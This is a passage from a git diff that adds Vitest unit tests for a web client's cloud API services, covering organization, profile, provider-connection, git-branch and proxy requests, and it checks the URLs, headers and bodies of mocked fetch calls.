+ setActiveSelection({ backendId: cloudBackend.id });
+
+ const result = await AgentServerConversationService.updateConversationTitle(
+ "conv-abc",
+ "Renamed conversation",
+ );
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations/conv-abc`);
+ expect(init).toMatchObject({
+ method: "PATCH",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(getJsonBody(init)).toEqual({ title: "Renamed conversation" });
+ expect(result).toMatchObject({
+ id: "conv-abc",
+ title: "Renamed conversation",
+ });
+ });
+});
diff --git a/__tests__/api/cloud/fetch-test-utils.ts b/__tests__/api/cloud/fetch-test-utils.ts
new file mode 100644
index 0000000000000000000000000000000000000000..5ff84e87f2e65da7b8003ec31f1af6557c4c2717
--- /dev/null
+++ b/__tests__/api/cloud/fetch-test-utils.ts
@@ -0,0 +1,33 @@
+import { vi } from "vitest";
+
+type FetchMock = ReturnType;
+
+export function mockJsonResponse(data: unknown, status = 200): Response {
+ return new Response(JSON.stringify(data), {
+ status,
+ statusText: status === 200 ? "OK" : "Error",
+ headers: { "content-type": "application/json" },
+ });
+}
+
+export function mockBlobResponse(
+ body: BodyInit,
+ contentType: string,
+): Response {
+ return new Response(body, {
+ status: 200,
+ headers: { "content-type": contentType },
+ });
+}
+
+export function getFetchCall(
+ fetchMock: FetchMock,
+ index = 0,
+): [string, RequestInit] {
+ const [url, init] = fetchMock.mock.calls[index] as [string, RequestInit];
+ return [url, init ?? {}];
+}
+
+export function getJsonBody(init: RequestInit): Record {
+ return JSON.parse(String(init.body ?? "{}")) as Record;
+}
diff --git a/__tests__/api/cloud/git-service.test.ts b/__tests__/api/cloud/git-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e094f7c0c5f7779f3ced4976e58061865ab834b9
--- /dev/null
+++ b/__tests__/api/cloud/git-service.test.ts
@@ -0,0 +1,69 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { getCloudRepositoryBranches } from "#/api/cloud/git-service.api";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const emptyBranchPage = { items: [], next_page_id: null };
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse(emptyBranchPage));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("getCloudRepositoryBranches", () => {
+ it("includes an empty query parameter when listing all branches so the upstream schema is satisfied", async () => {
+ // Act
+ await getCloudRepositoryBranches({
+ provider: "github",
+ repository: "hieptl/hieptl",
+ });
+
+ // Assert
+ const [url, init] = getFetchCall(fetchMock);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(url).toMatch(/[?&]query=(&|$)/);
+ });
+
+ it("forwards a non-empty query parameter when searching branches", async () => {
+ // Act
+ await getCloudRepositoryBranches({
+ provider: "github",
+ repository: "hieptl/hieptl",
+ query: "feature/login",
+ });
+
+ // Assert
+ const [url] = getFetchCall(fetchMock);
+ expect(url).toContain("query=feature%2Flogin");
+ });
+});
diff --git a/__tests__/api/cloud/organization-me.test.ts b/__tests__/api/cloud/organization-me.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..313028c2fa39ccf78e507d2f6990e4ee3c7b7f1c
--- /dev/null
+++ b/__tests__/api/cloud/organization-me.test.ts
@@ -0,0 +1,88 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { getCloudOrganizationMe } from "#/api/cloud/organization-service.api";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("cloud organization /me", () => {
+ it("calls /api/organizations/{orgId}/me directly and returns user_id", async () => {
+ const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+ fetchMock.mockResolvedValue(
+ mockJsonResponse({
+ org_id: orgId,
+ user_id: orgId,
+ email: "hieptl.developer@gmail.com",
+ role: "owner",
+ permissions: ["view_org_settings", "edit_org_settings"],
+ }),
+ );
+
+ const result = await getCloudOrganizationMe(orgId);
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/organizations/${orgId}/me`);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(result).toEqual({
+ orgId,
+ userId: orgId,
+ role: "owner",
+ permissions: ["view_org_settings", "edit_org_settings"],
+ });
+ });
+
+ it("returns null permissions when the app-server omits them (older version)", async () => {
+ const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+ fetchMock.mockResolvedValue(
+ mockJsonResponse({
+ org_id: orgId,
+ user_id: orgId,
+ email: "x@example.com",
+ role: "member",
+ }),
+ );
+
+ const result = await getCloudOrganizationMe(orgId);
+
+ // Absent `permissions` → null, so callers fall back to the role check.
+ expect(result).toEqual({
+ orgId,
+ userId: orgId,
+ role: "member",
+ permissions: null,
+ });
+ });
+});
diff --git a/__tests__/api/cloud/organization-service.test.ts b/__tests__/api/cloud/organization-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b64bb55399ddf3487ef30d0627ddc844ac556579
--- /dev/null
+++ b/__tests__/api/cloud/organization-service.test.ts
@@ -0,0 +1,144 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { HttpError } from "@openhands/typescript-client";
+import {
+ __resetActiveStoreForTests,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import {
+ getCloudOrganizationMember,
+ getCloudOrganizations,
+ getCurrentCloudApiKey,
+} from "#/api/cloud/organization-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+function mockJsonResponse(data: unknown, status = 200): Response {
+ return new Response(JSON.stringify(data), {
+ status,
+ statusText: status === 200 ? "OK" : "Error",
+ headers: { "content-type": "application/json" },
+ });
+}
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([]);
+ fetchMock.mockReset();
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("cloud organization-service", () => {
+ it("getCloudOrganizations calls the cloud API directly and returns normalized data", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ items: [{ id: "org-1", name: "Personal" }],
+ current_org_id: "org-1",
+ }),
+ );
+
+ const result = await getCloudOrganizations(cloudBackend);
+
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = fetchMock.mock.calls[0]!;
+
+ expect(url).toBe(`${cloudBackend.host}/api/organizations`);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+
+ expect(result).toEqual({
+ items: [{ id: "org-1", name: "Personal" }],
+ currentOrgId: "org-1",
+ });
+ });
+
+ it("getCurrentCloudApiKey hits /api/keys/current and returns the bound orgId", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ id: "key-1",
+ name: "k",
+ org_id: "org-bound",
+ user_id: "user-1",
+ auth_type: "bearer",
+ }),
+ );
+
+ const result = await getCurrentCloudApiKey(cloudBackend);
+
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toBe(`${cloudBackend.host}/api/keys/current`);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(result).toEqual({ orgId: "org-bound", isLegacyKey: false });
+ });
+
+ it("getCurrentCloudApiKey treats an upstream 400 as a legacy key (no binding)", async () => {
+ fetchMock.mockResolvedValueOnce(mockJsonResponse({ detail: "bad" }, 400));
+
+ const result = await getCurrentCloudApiKey(cloudBackend);
+
+ expect(result).toEqual({ orgId: null, isLegacyKey: true });
+ });
+
+ it("getCurrentCloudApiKey rethrows non-400 upstream errors (e.g. revoked key)", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ detail: "unauthorized" }, 401),
+ );
+
+ await expect(getCurrentCloudApiKey(cloudBackend)).rejects.toBeInstanceOf(
+ HttpError,
+ );
+ });
+
+ it("getCloudOrganizationMember hits /api/organizations/{orgId}/members/{userId} and returns the member", async () => {
+ // Arrange
+ const member = {
+ org_id: "org-1",
+ user_id: "user-1",
+ email: "jdoe@acme.com",
+ role: "member",
+ status: "active",
+ };
+ fetchMock.mockResolvedValueOnce(mockJsonResponse(member));
+
+ // Act
+ const result = await getCloudOrganizationMember(
+ "org-1",
+ "user-1",
+ cloudBackend,
+ );
+
+ // Assert
+ expect(fetchMock).toHaveBeenCalledOnce();
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toBe(
+ `${cloudBackend.host}/api/organizations/org-1/members/user-1`,
+ );
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(result).toEqual(member);
+ });
+});
diff --git a/__tests__/api/cloud/profiles-service.test.ts b/__tests__/api/cloud/profiles-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..db7d058aca870220db954880b447b0fa03640883
--- /dev/null
+++ b/__tests__/api/cloud/profiles-service.test.ts
@@ -0,0 +1,217 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import ProfilesService, {
+ type SaveProfileRequest,
+} from "#/api/profiles-service/profiles-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const ORG_ID = "org-1";
+const ORG_BASE = `https://app.all-hands.dev/api/organizations/${ORG_ID}/profiles`;
+const SETTINGS_BASE = "https://app.all-hands.dev/api/v1/settings/profiles";
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({}));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+// With an org bound, profile CRUD goes through the org-gated routes so the
+// server enforces EDIT_ORG_SETTINGS (a member's mutation 403s, not just hidden).
+describe("ProfilesService against a cloud org (gated org routes)", () => {
+ beforeEach(() => {
+ setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID });
+ });
+
+ it("lists profiles via GET /api/organizations/{orgId}/profiles", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ profiles: [
+ { name: "gpt", model: "gpt-4o", base_url: null, api_key_set: true },
+ ],
+ active_profile: "gpt",
+ }),
+ );
+
+ const res = await ProfilesService.listProfiles();
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(ORG_BASE);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(res.active_profile).toBe("gpt");
+ });
+
+ it("fetches a profile and maps the org `llm` onto `config`", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ name: "my profile",
+ llm: { model: "gpt-4o", api_key: null },
+ }),
+ );
+
+ const res = await ProfilesService.getProfile("my profile");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${ORG_BASE}/my%20profile`);
+ expect(init).toMatchObject({
+ method: "GET",
+ });
+ expect(res).toEqual({
+ name: "my profile",
+ config: { model: "gpt-4o", api_key: null },
+ api_key_set: false,
+ });
+ });
+
+ it("saves a profile via POST .../{name} forwarding the request body", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ name: "gpt", message: "Profile 'gpt' saved" }),
+ );
+
+ await ProfilesService.saveProfile("gpt", {
+ llm: { model: "gpt-4o" } as SaveProfileRequest["llm"],
+ include_secrets: true,
+ });
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${ORG_BASE}/gpt`);
+ expect(init).toMatchObject({
+ method: "POST",
+ });
+ expect(getJsonBody(init)).toEqual({
+ llm: { model: "gpt-4o" },
+ include_secrets: true,
+ });
+ });
+
+ it("deletes a profile via DELETE .../{name}", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ name: "gpt", message: "Profile 'gpt' deleted" }),
+ );
+
+ await ProfilesService.deleteProfile("gpt");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${ORG_BASE}/gpt`);
+ expect(init).toMatchObject({ method: "DELETE" });
+ });
+
+ it("renames a profile via POST .../{name}/rename with new_name", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ name: "new", message: "renamed" }),
+ );
+
+ await ProfilesService.renameProfile("old", "new");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${ORG_BASE}/old/rename`);
+ expect(init).toMatchObject({
+ method: "POST",
+ });
+ expect(getJsonBody(init)).toEqual({ new_name: "new" });
+ });
+
+ it("activates a profile and maps the org `llm` onto `llm_applied`", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ name: "gpt",
+ message: "Switched to profile 'gpt'",
+ llm: { model: "gpt-4o" },
+ }),
+ );
+
+ const res = await ProfilesService.activateProfile("gpt");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${ORG_BASE}/gpt/activate`);
+ expect(init).toMatchObject({
+ method: "POST",
+ });
+ expect(res).toEqual({
+ name: "gpt",
+ message: "Switched to profile 'gpt'",
+ llm_applied: true,
+ });
+ });
+});
+
+// Legacy API keys have no org bound; CRUD falls back to the per-user settings
+// route (ungated — there is no org role to enforce against).
+describe("ProfilesService on a cloud backend with no org (fallback)", () => {
+ beforeEach(() => {
+ setActiveSelection({ backendId: cloudBackend.id });
+ });
+
+ it("lists via the per-user settings route", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ profiles: [], active_profile: null }),
+ );
+
+ await ProfilesService.listProfiles();
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(SETTINGS_BASE);
+ expect(init).toMatchObject({ method: "GET" });
+ });
+
+ it("saves via the per-user settings route", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ name: "gpt", message: "saved" }),
+ );
+
+ await ProfilesService.saveProfile("gpt", {
+ llm: { model: "gpt-4o" } as SaveProfileRequest["llm"],
+ include_secrets: true,
+ });
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${SETTINGS_BASE}/gpt`);
+ expect(init).toMatchObject({ method: "POST" });
+ });
+
+ it("activates via the per-user settings route and maps `model`", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ name: "gpt", message: "ok", model: "gpt-4o" }),
+ );
+
+ const res = await ProfilesService.activateProfile("gpt");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${SETTINGS_BASE}/gpt/activate`);
+ expect(init).toMatchObject({
+ method: "POST",
+ });
+ expect(res.llm_applied).toBe(true);
+ });
+});
diff --git a/__tests__/api/cloud/provider-connections-service.test.ts b/__tests__/api/cloud/provider-connections-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d2a2bced0693ba60c919d1e99227f5f74c4649a1
--- /dev/null
+++ b/__tests__/api/cloud/provider-connections-service.test.ts
@@ -0,0 +1,140 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import ProviderConnectionsService from "#/api/provider-connections-service/provider-connections-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const ORG_ID = "org-1";
+const BASE = `https://app.all-hands.dev/api/organizations/${ORG_ID}/provider-connections`;
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+const connection = {
+ id: "conn-1",
+ display_name: "My OpenAI",
+ provider: "openai",
+ base_url: null,
+ created_at: 1,
+ updated_at: 2,
+ api_key_set: true,
+};
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({}));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+// With an org bound, provider-connection CRUD goes through the org-gated routes
+// so the server enforces EDIT_ORG_SETTINGS / VIEW_ORG_SETTINGS.
+describe("ProviderConnectionsService against a cloud org", () => {
+ beforeEach(() => {
+ setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID });
+ });
+
+ it("lists connections and unwraps the { connections } envelope", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({ connections: [connection] }),
+ );
+
+ const res = await ProviderConnectionsService.list();
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(BASE);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(res).toEqual([connection]);
+ });
+
+ it("returns [] when the org has no connections", async () => {
+ fetchMock.mockResolvedValueOnce(mockJsonResponse({ connections: [] }));
+
+ const res = await ProviderConnectionsService.list();
+
+ expect(res).toEqual([]);
+ });
+
+ it("creates a connection via POST with the request body", async () => {
+ fetchMock.mockResolvedValueOnce(mockJsonResponse(connection));
+
+ const request = {
+ display_name: "My OpenAI",
+ provider: "openai",
+ api_key: "sk-123",
+ base_url: null,
+ };
+ const res = await ProviderConnectionsService.create(request);
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(BASE);
+ expect(init).toMatchObject({ method: "POST" });
+ expect(getJsonBody(init)).toEqual(request);
+ expect(res).toEqual(connection);
+ });
+
+ it("updates a connection via PATCH at the id-scoped path", async () => {
+ fetchMock.mockResolvedValueOnce(mockJsonResponse(connection));
+
+ const res = await ProviderConnectionsService.update("conn-1", {
+ display_name: "Renamed",
+ });
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${BASE}/conn-1`);
+ expect(init).toMatchObject({ method: "PATCH" });
+ expect(getJsonBody(init)).toEqual({ display_name: "Renamed" });
+ expect(res).toEqual(connection);
+ });
+
+ it("url-encodes the id when deleting", async () => {
+ fetchMock.mockResolvedValueOnce(mockJsonResponse(connection));
+
+ await ProviderConnectionsService.delete("a b/c");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${BASE}/a%20b%2Fc`);
+ expect(init).toMatchObject({ method: "DELETE" });
+ });
+});
+
+// Without an org bound (legacy API keys), the org-scoped route is unaddressable.
+describe("ProviderConnectionsService on a cloud backend with no org", () => {
+ beforeEach(() => {
+ setActiveSelection({ backendId: cloudBackend.id });
+ });
+
+ it("throws rather than firing an unaddressable request", async () => {
+ await expect(ProviderConnectionsService.list()).rejects.toThrow(
+ /organization-bound/i,
+ );
+ expect(fetchMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/api/cloud/proxy.test.ts b/__tests__/api/cloud/proxy.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..8a3cb09615e30a129cf2e62f5cdc797d70f3759e
--- /dev/null
+++ b/__tests__/api/cloud/proxy.test.ts
@@ -0,0 +1,272 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { callCloudProxy } from "#/api/cloud/proxy";
+import type { Backend } from "#/api/backend-registry/types";
+
+const cloudPersonal: Backend = {
+ id: "cloud-personal",
+ name: "Production - Personal",
+ host: "https://app.all-hands.dev",
+ apiKey: "personal-key",
+ kind: "cloud",
+};
+
+const cloudAcme: Backend = {
+ id: "cloud-acme",
+ name: "Production - Acme",
+ host: "https://app.all-hands.dev",
+ apiKey: "acme-key",
+ kind: "cloud",
+};
+
+const cookieCloud: Backend = {
+ id: "cloud-cookie",
+ name: "Production - Cookie",
+ host: "https://app.all-hands.dev",
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+function mockJsonResponse(data: unknown, status = 200): Response {
+ return new Response(JSON.stringify(data), {
+ status,
+ headers: { "content-type": "application/json" },
+ });
+}
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({}));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("callCloudProxy X-Org-Id injection", () => {
+ it("sends X-Org-Id when targeting the active cloud backend with a selected orgId", async () => {
+ // Arrange — active selection points at the cloud backend with a
+ // resolved orgId. This is the steady-state case after the user picks
+ // an org row in the BackendSelector.
+ setRegisteredBackends([cloudPersonal]);
+ setActiveSelection({
+ backendId: cloudPersonal.id,
+ orgId: "org-personal-uuid",
+ });
+
+ // Act
+ await callCloudProxy({
+ backend: cloudPersonal,
+ method: "GET",
+ path: "/api/v1/app-conversations/search",
+ });
+
+ // Assert — the request carries the X-Org-Id of the active selection so the
+ // cloud backend can scope this request to the user's locally-chosen org
+ // without depending on user.current_org_id.
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toBe(`${cloudPersonal.host}/api/v1/app-conversations/search`);
+ expect(init).toMatchObject({
+ method: "GET",
+ });
+ expect(
+ (init as { headers: Record }).headers["X-Org-Id"],
+ ).toBe("org-personal-uuid");
+ });
+
+ it("omits X-Org-Id when targeting a different cloud backend than the active one", async () => {
+ // Arrange — the BackendSelector fan-out (e.g. useAllCloudOrganizations)
+ // calls callCloudProxy(b) for every registered cloud backend. Sending
+ // the active backend's orgId across an unrelated API key would cause
+ // the cloud backend to 403 on api_key_org_id / X-Org-Id mismatch.
+ setRegisteredBackends([cloudPersonal, cloudAcme]);
+ setActiveSelection({
+ backendId: cloudPersonal.id,
+ orgId: "org-personal-uuid",
+ });
+
+ // Act — request targets the non-active backend.
+ await callCloudProxy({
+ backend: cloudAcme,
+ method: "GET",
+ path: "/api/keys/current",
+ });
+
+ // Assert
+ const [, init] = fetchMock.mock.calls[0]!;
+ expect(
+ (init as { headers: Record }).headers,
+ ).not.toHaveProperty("X-Org-Id");
+ });
+});
+
+describe("callCloudProxy cookie auth", () => {
+ it("omits bearer auth for same-origin cookie-backed Cloud requests", async () => {
+ setRegisteredBackends([cookieCloud]);
+ setActiveSelection({ backendId: cookieCloud.id, orgId: null });
+
+ await callCloudProxy({
+ backend: cookieCloud,
+ method: "GET",
+ path: "/api/v1/users/me",
+ });
+
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toBe(`${cookieCloud.host}/api/v1/users/me`);
+ expect(init).toMatchObject({ method: "GET" });
+ expect(
+ (init as { headers: Record }).headers,
+ ).not.toHaveProperty("Authorization");
+ });
+
+ it("omits bearer auth in runtime proxy envelope requests", async () => {
+ setRegisteredBackends([cookieCloud]);
+ setActiveSelection({ backendId: cookieCloud.id, orgId: null });
+
+ await callCloudProxy({
+ backend: cookieCloud,
+ method: "GET",
+ path: "/api/bash/bash_events/search",
+ hostOverride: "https://abc123.prod-runtime.all-hands.dev",
+ });
+
+ const [, init] = fetchMock.mock.calls[0]!;
+ const envelope = JSON.parse((init as { body: string }).body);
+ expect(
+ (envelope as { headers: Record }).headers,
+ ).not.toHaveProperty("Authorization");
+ });
+});
+
+describe("callCloudProxy automation direct routing", () => {
+ it("sends automation requests straight to the cloud host with the API key instead of the /api/cloud-proxy envelope", async () => {
+ // Arrange — the automation service grants permissive CORS to API-key
+ // requests (automation#185), so app-host automation calls no longer
+ // need the same-origin proxy hop through the bundled agent-server.
+ setRegisteredBackends([cloudPersonal]);
+ setActiveSelection({ backendId: cloudPersonal.id, orgId: null });
+ const page = { automations: [], total: 0 };
+ fetchMock.mockResolvedValueOnce(mockJsonResponse(page));
+
+ // Act
+ const result = await callCloudProxy({
+ backend: cloudPersonal,
+ method: "GET",
+ path: "/api/automation/v1?limit=50&offset=0",
+ });
+
+ // Assert — the browser calls the automation API on the cloud host
+ // directly, authenticated by the backend's API key, and no envelope
+ // POST reaches /api/cloud-proxy.
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toBe(
+ `${cloudPersonal.host}/api/automation/v1?limit=50&offset=0`,
+ );
+ expect(init).toMatchObject({
+ method: "GET",
+ });
+ expect(
+ (init as { headers: Record }).headers.Authorization,
+ ).toBe(`Bearer ${cloudPersonal.apiKey}`);
+ expect(result).toEqual(page);
+ });
+
+ it("forwards the blob responseType and fail-fast timeout to the direct request", async () => {
+ // Arrange — tarball downloads and health probes rely on these
+ // per-request options surviving the switch from the proxy envelope to
+ // the direct call.
+ setRegisteredBackends([cloudPersonal]);
+ setActiveSelection({ backendId: cloudPersonal.id, orgId: null });
+
+ // Act
+ await callCloudProxy({
+ backend: cloudPersonal,
+ method: "GET",
+ path: "/api/automation/v1/auto-1/tarball",
+ responseType: "blob",
+ timeoutSeconds: 5,
+ });
+
+ // Assert
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toBe(`${cloudPersonal.host}/api/automation/v1/auto-1/tarball`);
+ expect(init).toMatchObject({ method: "GET" });
+ });
+});
+
+describe("callCloudProxy hostOverride routing", () => {
+ const runtimeHost = "https://abc123.prod-runtime.all-hands.dev";
+
+ it("routes through the local /api/cloud-proxy instead of the upstream host when hostOverride is set", async () => {
+ // Arrange — runtime-sandbox endpoints need the proxy hop because the
+ // per-conversation runtime hosts reject browser requests from the
+ // local GUI origin.
+ setRegisteredBackends([cloudPersonal]);
+ setActiveSelection({ backendId: cloudPersonal.id, orgId: null });
+ fetchMock.mockResolvedValueOnce(mockJsonResponse({ items: [] }));
+
+ // Act
+ const result = await callCloudProxy({
+ backend: cloudPersonal,
+ method: "GET",
+ path: "/api/bash/bash_events/search",
+ hostOverride: runtimeHost,
+ });
+
+ // Assert — the browser only makes a same-origin POST to the bundled
+ // agent-server's proxy endpoint carrying the upstream call as an
+ // envelope, and the upstream payload is unwrapped for the caller.
+ const [url, init] = fetchMock.mock.calls[0]!;
+ expect(url).toMatch(/\/api\/cloud-proxy$/);
+ const envelope = JSON.parse((init as { body: string }).body);
+ expect(envelope).toMatchObject({
+ host: runtimeHost,
+ method: "GET",
+ path: "/api/bash/bash_events/search",
+ });
+ expect(result).toEqual({ items: [] });
+ });
+
+ it("carries bearer auth and X-Org-Id inside the proxy envelope", async () => {
+ // Arrange — org scoping must survive the server-side hop: the envelope
+ // headers are what the agent-server attaches to the upstream call in
+ // place of the headers a direct browser request would have sent.
+ setRegisteredBackends([cloudPersonal]);
+ setActiveSelection({
+ backendId: cloudPersonal.id,
+ orgId: "org-personal-uuid",
+ });
+
+ // Act
+ await callCloudProxy({
+ backend: cloudPersonal,
+ method: "GET",
+ path: "/api/bash/bash_events/search",
+ hostOverride: runtimeHost,
+ });
+
+ // Assert
+ const [, init] = fetchMock.mock.calls[0]!;
+ const envelope = JSON.parse((init as { body: string }).body);
+ expect(
+ (envelope as { headers: Record }).headers,
+ ).toMatchObject({
+ Authorization: `Bearer ${cloudPersonal.apiKey}`,
